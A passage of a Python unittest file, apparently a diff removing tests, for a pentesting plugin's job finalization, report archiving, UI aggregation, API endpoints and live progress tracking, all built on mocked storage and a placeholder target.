MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # CStore should NOT have pass_reports appended - self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset was called for intermediate status updates (COLLECTING, ANALYZING, FINALIZING) - # but NOT for finalization — verify job_status is NOT FINALIZED in the last write - for call_args in plugin.chainstore_hset.call_args_list: - value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None - if isinstance(value, dict): - self.assertNotEqual(value.get("job_status"), "FINALIZED") - - def test_pass_report_write_failure(self): - """R1FS fails for pass report → CStore pass_reports not appended.""" - PentesterApi01Plugin = self._get_plugin_class() - # First R1FS write (aggregated) succeeds, second (pass report) fails - plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: None}) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # CStore should NOT have pass_reports appended - self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset was called for status updates but NOT for finalization - for call_args in plugin.chainstore_hset.call_args_list: - value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None - if isinstance(value, dict): - self.assertNotEqual(value.get("job_status"), "FINALIZED") - - def test_cstore_risk_score_updated(self): - """After pass, risk_score on CStore matches pass result.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin() - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 42, "breakdown": {"findings_score": 30}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # CStore risk_score updated - self.assertEqual(job_specs["risk_score"], 42) - - # PassReportRef in pass_reports has same risk_score - self.assertEqual(len(job_specs["pass_reports"]), 1) - ref = job_specs["pass_reports"][0] - self.assertEqual(ref["risk_score"], 42) - self.assertIn("report_cid", ref) - self.assertEqual(ref["pass_nr"], 1) - - -class TestPhase4UiAggregate(unittest.TestCase): - """Phase 4: UI Aggregate Computation.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _make_plugin(self): - plugin = MagicMock() - Plugin = self._get_plugin_class() - plugin._count_services = lambda si: Plugin._count_services(plugin, si) - plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) - plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER - plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER - return plugin, Plugin - - def _make_finding(self, severity="HIGH", confidence="firm", finding_id="abc123", title="Test"): - return {"finding_id": finding_id, "severity": severity, "confidence": confidence, "title": title} - - def _make_pass(self, pass_nr=1, findings=None, risk_score=0, worker_reports=None): - return { - "pass_nr": pass_nr, - "risk_score": risk_score, - "risk_breakdown": {"findings_score": 10}, - "quick_summary": "Summary text", - "findings": findings, - "worker_reports": worker_reports or { - "w1": {"start_port": 1, "end_port": 512, "open_ports": [80]}, - }, - } - - def _make_aggregated(self, open_ports=None, service_info=None): - return { - "open_ports": open_ports or [80, 443], - "service_info": service_info or { - "80": {"_service_info_http": {"findings": []}}, - "443": {"_service_info_https": {"findings": []}}, - }, - } - - def test_findings_count_uppercase_keys(self): - """findings_count keys are UPPERCASE.""" - plugin, _ = self._make_plugin() - findings = [ - self._make_finding(severity="CRITICAL", finding_id="f1"), - self._make_finding(severity="HIGH", finding_id="f2"), - self._make_finding(severity="HIGH", finding_id="f3"), - self._make_finding(severity="MEDIUM", finding_id="f4"), - ] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - fc = result.to_dict()["findings_count"] - self.assertEqual(fc["CRITICAL"], 1) - self.assertEqual(fc["HIGH"], 2) - self.assertEqual(fc["MEDIUM"], 1) - for key in fc: - self.assertEqual(key, key.upper()) - - def test_top_findings_max_10(self): - """More than 10 CRITICAL+HIGH -> capped at 10.""" - plugin, _ = self._make_plugin() - findings = [self._make_finding(severity="CRITICAL", finding_id=f"f{i}") for i in range(15)] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - self.assertEqual(len(result.to_dict()["top_findings"]), 10) - - def test_top_findings_sorted(self): - """CRITICAL before HIGH, within same severity sorted by confidence.""" - plugin, _ = self._make_plugin() - findings = [ - self._make_finding(severity="HIGH", confidence="certain", finding_id="f1", title="H-certain"), - self._make_finding(severity="CRITICAL", confidence="tentative", finding_id="f2", title="C-tentative"), - self._make_finding(severity="HIGH", confidence="tentative", finding_id="f3", title="H-tentative"), - self._make_finding(severity="CRITICAL", confidence="certain", finding_id="f4", title="C-certain"), - ] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - top = result.to_dict()["top_findings"] - self.assertEqual(top[0]["title"], "C-certain") - self.assertEqual(top[1]["title"], "C-tentative") - self.assertEqual(top[2]["title"], "H-certain") - self.assertEqual(top[3]["title"], "H-tentative") - - def test_top_findings_excludes_medium(self): - """MEDIUM/LOW/INFO findings never in top_findings.""" - plugin, _ = self._make_plugin() - findings = [ - self._make_finding(severity="MEDIUM", finding_id="f1"), - self._make_finding(severity="LOW", finding_id="f2"), - self._make_finding(severity="INFO", finding_id="f3"), - ] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - d = result.to_dict() - self.assertNotIn("top_findings", d) # stripped by _strip_none (None) - - def test_finding_timeline_single_pass(self): - """1 pass -> finding_timeline is None (stripped).""" - plugin, _ = self._make_plugin() - p = self._make_pass(findings=[]) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - d = result.to_dict() - self.assertNotIn("finding_timeline", d) # None → stripped - - def test_finding_timeline_multi_pass(self): - """3 passes with overlapping findings -> correct first_seen, last_seen, pass_count.""" - plugin, _ = self._make_plugin() - f_persistent = self._make_finding(finding_id="persist1") - f_transient = self._make_finding(finding_id="transient1") - f_new = self._make_finding(finding_id="new1") - passes = [ - self._make_pass(pass_nr=1, findings=[f_persistent, f_transient]), - self._make_pass(pass_nr=2, findings=[f_persistent]), - self._make_pass(pass_nr=3, findings=[f_persistent, f_new]), - ] - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate(passes, agg) - ft = result.to_dict()["finding_timeline"] - self.assertEqual(ft["persist1"]["first_seen"], 1) - self.assertEqual(ft["persist1"]["last_seen"], 3) - self.assertEqual(ft["persist1"]["pass_count"], 3) - self.assertEqual(ft["transient1"]["first_seen"], 1) - self.assertEqual(ft["transient1"]["last_seen"], 1) - self.assertEqual(ft["transient1"]["pass_count"], 1) - self.assertEqual(ft["new1"]["first_seen"], 3) - self.assertEqual(ft["new1"]["last_seen"], 3) - self.assertEqual(ft["new1"]["pass_count"], 1) - - def test_zero_findings(self): - """findings_count is {}, top_findings is [], total_findings is 0.""" - plugin, _ = self._make_plugin() - p = self._make_pass(findings=[]) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - d = result.to_dict() - self.assertEqual(d["total_findings"], 0) - # findings_count and top_findings are None (stripped) when empty - self.assertNotIn("findings_count", d) - self.assertNotIn("top_findings", d) - - def test_open_ports_sorted_unique(self): - """total_open_ports is deduped and sorted.""" - plugin, _ = self._make_plugin() - p = self._make_pass(findings=[]) - agg = self._make_aggregated(open_ports=[443, 80, 443, 22, 80]) - result = plugin._compute_ui_aggregate([p], agg) - self.assertEqual(result.to_dict()["total_open_ports"], [22, 80, 443]) - - def test_count_services(self): - """_count_services counts ports with at least one detected service.""" - plugin, _ = self._make_plugin() - service_info = { - "80": {"_service_info_http": {}, "_web_test_xss": {}}, - "443": {"_service_info_https": {}, "_service_info_http": {}}, - } - self.assertEqual(plugin._count_services(service_info), 2) - self.assertEqual(plugin._count_services({}), 0) - self.assertEqual(plugin._count_services(None), 0) - - -class TestPhase3Archive(unittest.TestCase): - """Phase 3: Job Close & Archive.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGLEPASS", - job_status="FINALIZED", r1fs_write_fail=False, r1fs_verify_fail=False): - """Build a mock plugin pre-configured for _build_job_archive testing.""" - plugin = MagicMock() - plugin.ee_addr = "launcher-node" - plugin.ee_id = "launcher-alias" - plugin.cfg_instance_id = "test-instance" - plugin.time.return_value = 1000200.0 - plugin.json_dumps.return_value = "{}" - - # R1FS mock - plugin.r1fs = MagicMock() - - # Build pass report dicts and refs - pass_reports_data = [] - pass_report_refs = [] - for i in range(1, pass_count + 1): - pr = { - "pass_nr": i, - "date_started": 1000000.0 + (i - 1) * 100, - "date_completed": 1000000.0 + i * 100, - "duration": 100.0, - "aggregated_report_cid": f"QmAgg{i}", - "worker_reports": { - "worker-A": {"report_cid": f"QmWorker{i}A", "start_port": 1, "end_port": 512, "ports_scanned": 512, "open_ports": [80], "nr_findings": 2}, - }, - "risk_score": 25 + i, - "risk_breakdown": {"findings_score": 10}, - "findings": [ - {"finding_id": f"f{i}a", "severity": "HIGH", "confidence": "firm", "title": f"Finding {i}A"}, - {"finding_id": f"f{i}b", "severity": "MEDIUM", "confidence": "firm", "title": f"Finding {i}B"}, - ], - "quick_summary": f"Summary for pass {i}", - } - pass_reports_data.append(pr) - pass_report_refs.append({"pass_nr": i, "report_cid": f"QmPassReport{i}", "risk_score": 25 + i}) - - # Job config - job_config = { - "target": "example.com", "start_port": 1, "end_port": 1024, - "run_mode": run_mode, "enabled_features": [], - } - - # Latest aggregated data - latest_aggregated = { - "open_ports": [80, 443], "service_info": {"80": {"_service_info_http": {}}}, - "web_tests_info": {}, "completed_tests": ["port_scan"], "ports_scanned": 1024, - } - - # R1FS get_json: return the right data for each CID - cid_map = {"QmConfigCID": job_config} - for i, pr in enumerate(pass_reports_data): - cid_map[f"QmPassReport{i+1}"] = pr - cid_map[f"QmAgg{i+1}"] = latest_aggregated - - if r1fs_write_fail: - plugin.r1fs.add_json.return_value = None - else: - archive_cid = "QmArchiveCID" - plugin.r1fs.add_json.return_value = archive_cid - if r1fs_verify_fail: - # add_json succeeds but get_json for the archive CID returns None - orig_map = dict(cid_map) - def verify_fail_get(cid): - if cid == archive_cid: - return None - return orig_map.get(cid) - plugin.r1fs.get_json.side_effect = verify_fail_get - else: - # Verification succeeds — archive CID also returns data - cid_map[archive_cid] = {"job_id": job_id} # minimal archive for verification - plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) - - if not r1fs_write_fail and not r1fs_verify_fail: - plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) - - # Job specs (running state) - job_specs = { - "job_id": job_id, - "job_status": job_status, - "job_pass": pass_count, - "run_mode": run_mode, - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "target": "example.com", - "task_name": "Test", - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "risk_score": 25 + pass_count, - "job_config_cid": "QmConfigCID", - "workers": { - "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, - }, - "timeline": [ - {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}, - ], - "pass_reports": pass_report_refs, - } - - plugin.chainstore_hset = MagicMock() - - # Bind real methods for archive building - Plugin = self._get_plugin_class() - plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) - plugin._count_services = lambda si: Plugin._count_services(plugin, si) - plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER - plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER - - return plugin, job_specs, pass_reports_data, job_config - - def test_archive_written_to_r1fs(self): - """Archive stored in R1FS with job_id, job_config, passes, ui_aggregate.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, job_config = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # r1fs.add_json called with archive dict - self.assertTrue(plugin.r1fs.add_json.called) - archive_dict = plugin.r1fs.add_json.call_args[0][0] - self.assertEqual(archive_dict["job_id"], "test-job") - self.assertEqual(archive_dict["job_config"]["target"], "example.com") - self.assertEqual(len(archive_dict["passes"]), 1) - self.assertIn("ui_aggregate", archive_dict) - self.assertIn("total_open_ports", archive_dict["ui_aggregate"]) - - def test_archive_duration_computed(self): - """duration == date_completed - date_created, not 0.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - archive_dict = plugin.r1fs.add_json.call_args[0][0] - # date_created=1000000, time()=1000200 → duration=200 - self.assertEqual(archive_dict["duration"], 200.0) - self.assertGreater(archive_dict["duration"], 0) - - def test_stub_has_job_cid_and_config_cid(self): - """After prune, CStore stub has job_cid and job_config_cid.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # Extract the stub written to CStore - hset_call = plugin.chainstore_hset.call_args - stub = hset_call[1]["value"] - self.assertEqual(stub["job_cid"], "QmArchiveCID") - self.assertEqual(stub["job_config_cid"], "QmConfigCID") - - def test_stub_fields_match_model(self): - """Stub has exactly CStoreJobFinalized fields.""" - from extensions.business.cybersec.red_mesh.models import CStoreJobFinalized - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - stub = plugin.chainstore_hset.call_args[1]["value"] - # Verify it can be loaded into CStoreJobFinalized - finalized = CStoreJobFinalized.from_dict(stub) - self.assertEqual(finalized.job_id, "test-job") - self.assertEqual(finalized.job_status, "FINALIZED") - self.assertEqual(finalized.target, "example.com") - self.assertEqual(finalized.pass_count, 1) - self.assertEqual(finalized.worker_count, 1) - self.assertEqual(finalized.start_port, 1) - self.assertEqual(finalized.end_port, 1024) - self.assertGreater(finalized.duration, 0) - - def test_pass_report_cids_cleaned_up(self): - """After archive, individual pass CIDs deleted from R1FS.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # Check delete_file was called for pass report CID - delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] - self.assertIn("QmPassReport1", delete_calls) - - def test_node_report_cids_preserved(self): - """Worker report CIDs NOT deleted.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] - self.assertNotIn("QmWorker1A", delete_calls) - - def test_aggregated_report_cids_preserved(self): - """aggregated_report_cid per pass NOT deleted.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] - self.assertNotIn("QmAgg1", delete_calls) - - def test_archive_write_failure_no_prune(self): - """R1FS write fails -> CStore untouched, full running state retained.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_write_fail=True) - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # CStore should NOT have been pruned - plugin.chainstore_hset.assert_not_called() - # pass_reports still present in job_specs - self.assertEqual(len(job_specs["pass_reports"]), 1) - - def test_archive_verify_failure_no_prune(self): - """CID not retrievable -> CStore untouched.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_verify_fail=True) - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - plugin.chainstore_hset.assert_not_called() - - def test_stuck_recovery(self): - """FINALIZED without job_cid -> _build_job_archive retried via _maybe_finalize_pass.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(job_status="FINALIZED") - # Simulate stuck state: FINALIZED but no job_cid - job_specs["job_status"] = "FINALIZED" - # No job_cid in specs - - plugin.chainstore_hgetall.return_value = {"test-job": job_specs} - plugin._normalize_job_record = MagicMock(return_value=("test-job", job_specs)) - plugin._build_job_archive = MagicMock() - - Plugin._maybe_finalize_pass(plugin) - - plugin._build_job_archive.assert_called_once_with("test-job", job_specs) - - def test_idempotent_rebuild(self): - """Calling _build_job_archive twice doesn't corrupt state.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - first_stub = plugin.chainstore_hset.call_args[1]["value"] - - # Reset and call again (simulating a retry where data is still available) - plugin.chainstore_hset.reset_mock() - plugin.r1fs.add_json.reset_mock() - new_archive_cid = "QmArchiveCID2" - plugin.r1fs.add_json.return_value = new_archive_cid - - # Update get_json to also return data for the new archive CID - orig_side_effect = plugin.r1fs.get_json.side_effect - def extended_get(cid): - if cid == new_archive_cid: - return {"job_id": "test-job"} - return orig_side_effect(cid) - plugin.r1fs.get_json.side_effect = extended_get - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - second_stub = plugin.chainstore_hset.call_args[1]["value"] - # Both produce valid stubs - self.assertEqual(first_stub["job_id"], second_stub["job_id"]) - self.assertEqual(first_stub["pass_count"], second_stub["pass_count"]) - - def test_multipass_archive(self): - """Archive with 3 passes contains all pass data.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(pass_count=3, run_mode="CONTINUOUS_MONITORING", job_status="STOPPED") - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - archive_dict = plugin.r1fs.add_json.call_args[0][0] - self.assertEqual(len(archive_dict["passes"]), 3) - self.assertEqual(archive_dict["passes"][0]["pass_nr"], 1) - self.assertEqual(archive_dict["passes"][2]["pass_nr"], 3) - stub = plugin.chainstore_hset.call_args[1]["value"] - self.assertEqual(stub["pass_count"], 3) - self.assertEqual(stub["job_status"], "STOPPED") - - -class TestPhase5Endpoints(unittest.TestCase): - """Phase 5: API Endpoints.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _build_finalized_stub(self, job_id="test-job"): - """Build a CStoreJobFinalized-shaped dict.""" - return { - "job_id": job_id, - "job_status": "FINALIZED", - "target": "example.com", - "task_name": "Test", - "risk_score": 42, - "run_mode": "SINGLEPASS", - "duration": 200.0, - "pass_count": 1, - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "worker_count": 2, - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "date_completed": 1000200.0, - "job_cid": "QmArchiveCID", - "job_config_cid": "QmConfigCID", - } - - def _build_running_job(self, job_id="run-job", pass_count=8): - """Build a running job dict with N pass_reports.""" - pass_reports = [ - {"pass_nr": i, "report_cid": f"QmPass{i}", "risk_score": 10 + i} - for i in range(1, pass_count + 1) - ] - return { - "job_id": job_id, - "job_status": "RUNNING", - "job_pass": pass_count, - "run_mode": "CONTINUOUS_MONITORING", - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "target": "example.com", - "task_name": "Continuous Test", - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "risk_score": 18, - "job_config_cid": "QmConfigCID", - "workers": { - "worker-A": {"start_port": 1, "end_port": 512, "finished": False}, - "worker-B": {"start_port": 513, "end_port": 1024, "finished": False}, - }, - "timeline": [ - {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher", "actor_type": "system", "meta": {}}, - {"type": "started", "label": "Started", "date": 1000001.0, "actor": "launcher", "actor_type": "system", "meta": {}}, - ], - "pass_reports": pass_reports, - } - - def _build_plugin(self, jobs_dict): - """Build a mock plugin with given jobs in CStore.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.ee_addr = "launcher-node" - plugin.ee_id = "launcher-alias" - plugin.cfg_instance_id = "test-instance" - plugin.r1fs = MagicMock() - - plugin.chainstore_hgetall.return_value = dict(jobs_dict) - plugin.chainstore_hget.side_effect = lambda hkey, key: jobs_dict.get(key) - plugin._normalize_job_record = MagicMock( - side_effect=lambda k, v: (k, v) if isinstance(v, dict) and v.get("job_id") else (None, None) - ) - - # Bind real methods so endpoint logic executes properly - plugin._get_all_network_jobs = lambda: Plugin._get_all_network_jobs(plugin) - plugin._get_job_from_cstore = lambda job_id: Plugin._get_job_from_cstore(plugin, job_id) - return plugin - - def test_get_job_archive_finalized(self): - """get_job_archive for finalized job returns archive with matching job_id.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - archive_data = {"job_id": "fin-job", "passes": [], "ui_aggregate": {}} - plugin.r1fs.get_json.return_value = archive_data - - result = Plugin.get_job_archive(plugin, job_id="fin-job") - self.assertEqual(result["job_id"], "fin-job") - self.assertEqual(result["archive"]["job_id"], "fin-job") - - def test_get_job_archive_running(self): - """get_job_archive for running job returns not_available error.""" - Plugin = self._get_plugin_class() - running = self._build_running_job("run-job", pass_count=2) - plugin = self._build_plugin({"run-job": running}) - - result = Plugin.get_job_archive(plugin, job_id="run-job") - self.assertEqual(result["error"], "not_available") - - def test_get_job_archive_integrity_mismatch(self): - """Corrupted job_cid pointing to wrong archive is rejected.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - # Archive has a different job_id - plugin.r1fs.get_json.return_value = {"job_id": "other-job", "passes": []} - - result = Plugin.get_job_archive(plugin, job_id="fin-job") - self.assertEqual(result["error"], "integrity_mismatch") - - def test_get_job_data_running_last_5(self): - """Running job with 8 passes returns last 5 refs only.""" - Plugin = self._get_plugin_class() - running = self._build_running_job("run-job", pass_count=8) - plugin = self._build_plugin({"run-job": running}) - - result = Plugin.get_job_data(plugin, job_id="run-job") - self.assertTrue(result["found"]) - refs = result["job"]["pass_reports"] - self.assertEqual(len(refs), 5) - # Should be the last 5 (pass_nr 4-8) - self.assertEqual(refs[0]["pass_nr"], 4) - self.assertEqual(refs[-1]["pass_nr"], 8) - - def test_get_job_data_finalized_returns_stub(self): - """Finalized job returns stub as-is with job_cid.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - result = Plugin.get_job_data(plugin, job_id="fin-job") - self.assertTrue(result["found"]) - self.assertEqual(result["job"]["job_cid"], "QmArchiveCID") - self.assertEqual(result["job"]["pass_count"], 1) - - def test_list_jobs_finalized_as_is(self): - """Finalized stubs returned unmodified with all CStoreJobFinalized fields.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("fin-job", result) - job = result["fin-job"] - self.assertEqual(job["job_cid"], "QmArchiveCID") - self.assertEqual(job["pass_count"], 1) - self.assertEqual(job["worker_count"], 2) - self.assertEqual(job["risk_score"], 42) - self.assertEqual(job["duration"], 200.0) - - def test_list_jobs_running_stripped(self): - """Running jobs have counts but no timeline, workers, or pass_reports.""" - Plugin = self._get_plugin_class() - running = self._build_running_job("run-job", pass_count=3) - plugin = self._build_plugin({"run-job": running}) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("run-job", result) - job = result["run-job"] - # Should have counts - self.assertEqual(job["pass_count"], 3) - self.assertEqual(job["worker_count"], 2) - # Should NOT have heavy fields - self.assertNotIn("timeline", job) - self.assertNotIn("workers", job) - self.assertNotIn("pass_reports", job) - - def test_get_job_archive_not_found(self): - """get_job_archive for non-existent job returns not_found.""" - Plugin = self._get_plugin_class() - plugin = self._build_plugin({}) - - result = Plugin.get_job_archive(plugin, job_id="missing-job") - self.assertEqual(result["error"], "not_found") - - def test_get_job_archive_r1fs_failure(self): - """get_job_archive when R1FS fails returns fetch_failed.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - plugin.r1fs.get_json.return_value = None - - result = Plugin.get_job_archive(plugin, job_id="fin-job") - self.assertEqual(result["error"], "fetch_failed") - - -class TestPhase12LiveProgress(unittest.TestCase): - """Phase 12: Live Worker Progress.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def test_worker_progress_model_roundtrip(self): - """WorkerProgress.from_dict(wp.to_dict()) preserves all fields.""" - from extensions.business.cybersec.red_mesh.models import WorkerProgress - wp = WorkerProgress( - job_id="job-1", - worker_addr="0xWorkerA", - pass_nr=2, - progress=45.5, - phase="service_probes", - ports_scanned=500, - ports_total=1024, - open_ports_found=[22, 80, 443], - completed_tests=["fingerprint_completed", "service_info_completed"], - updated_at=1700000000.0, - live_metrics={"total_duration": 30.5}, - ) - d = wp.to_dict() - wp2 = WorkerProgress.from_dict(d) - self.assertEqual(wp2.job_id, "job-1") - self.assertEqual(wp2.worker_addr, "0xWorkerA") - self.assertEqual(wp2.pass_nr, 2) - self.assertAlmostEqual(wp2.progress, 45.5) - self.assertEqual(wp2.phase, "service_probes") - self.assertEqual(wp2.ports_scanned, 500) - self.assertEqual(wp2.ports_total, 1024) - self.assertEqual(wp2.open_ports_found, [22, 80, 443]) - self.assertEqual(wp2.completed_tests, ["fingerprint_completed", "service_info_completed"]) - self.assertEqual(wp2.updated_at, 1700000000.0) - self.assertEqual(wp2.live_metrics, {"total_duration": 30.5}) - - def test_get_job_progress_filters_by_job(self): - """get_job_progress returns only workers for the requested job.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - # Simulate two jobs' progress in the :live hset - live_data = { - "job-A:worker-1": {"job_id": "job-A", "progress": 50}, - "job-A:worker-2": {"job_id": "job-A", "progress": 75}, - "job-B:worker-3": {"job_id": "job-B", "progress": 30}, - } - plugin.chainstore_hgetall.return_value = live_data - - result = Plugin.get_job_progress(plugin, job_id="job-A") - self.assertEqual(result["job_id"], "job-A") - self.assertEqual(len(result["workers"]), 2) - self.assertIn("worker-1", result["workers"]) - self.assertIn("worker-2", result["workers"]) - self.assertNotIn("worker-3", result["workers"]) - - def test_get_job_progress_empty(self): - """get_job_progress for non-existent job returns empty workers dict.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.chainstore_hgetall.return_value = {} - - result = Plugin.get_job_progress(plugin, job_id="nonexistent") - self.assertEqual(result["job_id"], "nonexistent") - self.assertEqual(result["workers"], {}) - - def test_publish_live_progress(self): - """_publish_live_progress writes stage-based progress to CStore :live hset.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - plugin._last_progress_publish = 0 - plugin.time.return_value = 100.0 - - # Mock a local worker with state (port scan partial + fingerprint done) - worker = MagicMock() - worker.state = { - "ports_scanned": list(range(100)), - "open_ports": [22, 80], - "completed_tests": ["fingerprint_completed"], - "done": False, - } - worker.initial_ports = list(range(1, 513)) - - plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} - - # Mock CStore lookup for pass_nr - plugin.chainstore_hget.return_value = {"job_pass": 3} - - Plugin._publish_live_progress(plugin) - - # Verify hset was called with correct key pattern - plugin.chainstore_hset.assert_called_once() - call_args = plugin.chainstore_hset.call_args - self.assertEqual(call_args.kwargs["hkey"], "test-instance:live") - self.assertEqual(call_args.kwargs["key"], "job-1:node-A") - progress_data = call_args.kwargs["value"] - self.assertEqual(progress_data["job_id"], "job-1") - 